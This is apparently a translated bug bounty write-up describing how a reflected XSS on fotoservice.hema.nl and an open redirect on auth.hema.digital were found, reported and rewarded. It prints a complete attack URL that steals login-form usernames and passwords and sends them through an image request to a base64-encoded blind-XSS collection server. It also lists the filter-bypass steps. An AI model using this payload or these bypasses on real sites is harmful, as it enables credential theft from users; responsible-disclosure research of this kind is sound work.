反射型XSS在fotoservice.hema.nl的发现与利用
概念验证
浏览器上方显示攻击界面,下方私有Slack通道实时展示窃取的用户凭证。
背景介绍
反射型XSS漏洞极具挖掘乐趣:它们无处不在,且经过精心构造的注入载荷可能产生重大影响。本文将展示如何发现反射型XSS漏洞并构造定制化Payload,过程中会遇到各种限制并找到有效的绕过方法。
HEMA背景
HEMA是荷兰最不可或缺的品牌之一,以香肠(worst)、苹果派(appeltaart)和遍布全国的杂货店闻名。
漏洞挖掘许可
通过查看英文免责声明,确认允许搜索漏洞并报告,甚至可能获得奖励。荷兰版免责声明还补充了奖励细节:“美味的HEMA苹果派!"——这意味着我们可能用漏洞换取HEMA香肠和苹果派。
侦察阶段
作为客户计划订购照片打印服务时,开启了Burp Suite社区版拦截HEMA.nl流量。推荐使用Param Miner和Paramalyzer扩展:
- Param Miner帮助发现查询字符串和POST正文中的隐藏参数
- Paramalyzer创建目标参数站点地图,可视化不同端点间关系
手动站点地图构建
通过Chrome浏览器配合SwitchyOmega扩展代理配置,手动探索发现:
- Hema.nl顶部菜单"照片服务"指向子域https://foto.hema.nl/
- 用户菜单中出现"我的照片项目"新链接
- 点击后跳转至认证端点auth.hema.digital,需将该域添加至Burp目标范围
附加发现:开放重定向漏洞
在auth.hema.digital发现delegation_url和token参数。将URL替换为Protozoan.nl后,Location头成功被篡改——确认为开放重定向漏洞,可用于钓鱼攻击。
反射型XSS挖掘
重点参数targetPage包含URL值,该值被反射在script标签块中。需要突破window.location.href字符串限制来执行JavaScript。
突破步骤:
- 注入单引号闭合字符串(失败,被URL编码)
- 注入闭合标签(失败,被防火墙拦截)
- URL编码(失败,不再反射)
- 测试特殊字符< > /(失败,被服务器拒绝)
- 移除URL起始部分成功——重写为/user/‘反射参数值’且无URL编码
- 确认可安全使用( ) ;字符
- 构造经典的alert(1)验证载荷
最终Payload解析
完整攻击URL:https://fotoservice.hema.nl/user/login.html?targetPage=%27;w=%27%23%27;window.stop();alert(%27Proof-of-Concept-by-Jonathan-Bouman%27);document.images[0].src=atob(%aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv/%27)%2bloginForm.login.value%2b%27%3a%27%2bloginForm.password.value;alert(%27Stolen-password%3a%27%2bloginForm.password.value%2b%27.Now-redirect-user.%27);setTimeout(%27window.location.href=window.location.hostname%27,3000);%27
技术要点:
- %27; 闭合字符串并结束行
- w=%27%23%27; 添加#字符使服务器允许使用[]字符
- window.stop() 阻止原始重定向
- document.images[0].src 通过图片源变更外传数据
- atob() Base64解码绕过防火墙字符检测
- setTimeout 3秒后重定向用户至原域名
Slack集成
使用https://github.com/mazen160/xless 工具搭建盲注XSS服务器,将窃取数据自动推送至私有Slack通道。
限制条件
需要用户加载含Payload的URL,且仅在用户成功登录后触发。
时间线
- 05-08-20 发现XSS漏洞#1和开放重定向
- 05-09-20 发现XSS漏洞#2-#5
- 05-11-20 发现SQL注入漏洞
- 05-14-20 获得100欧元礼品卡奖励
- 06-05-20 因整体贡献获得额外奖励
解决方案
- 开放重定向:使用URL白名单机制
- XSS漏洞:对用户输入进行编码/转义处理,或采用白名单方案
总结
成功演示了auth.hema.digital的开放重定向漏洞和fotoservice.hema.nl的反射型XSS漏洞,攻击者可组合利用这些漏洞窃取用户凭证。HEMA的负责任披露流程值得赞赏——明确的披露政策、快速友好的响应,以及用苹果派和礼品卡奖励安全研究人员。